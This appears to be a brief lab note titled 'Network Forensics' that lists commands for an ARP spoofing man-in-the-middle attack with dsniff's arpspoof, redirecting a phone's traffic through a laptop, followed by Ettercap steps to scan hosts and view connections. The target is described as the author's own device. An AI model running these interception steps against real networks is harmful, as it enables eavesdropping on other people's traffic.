Network Forensics.....

Steps:

1.Ubuntu command to install dsniff
    sudo apt install dsniff

2.sudo arpspoof -i wlan0 -t 192.168.8.100 192.168.8.1


   192.168.8.100 - Target device my Mobile.
   192.168.8.1 - Router/Gateway connecting to.


   > command executed on Ubuntu laptop 192.168.8.101
   > Normally  192.168.8.100 passes data through 192.168.8.1
      After command execution 192.168.8.100 connects to gateway
      192.168.8.1 through 192.168.8.101.

3. Run Ettercap.
     scan for hosts
     set targets
     view connections/profiles etc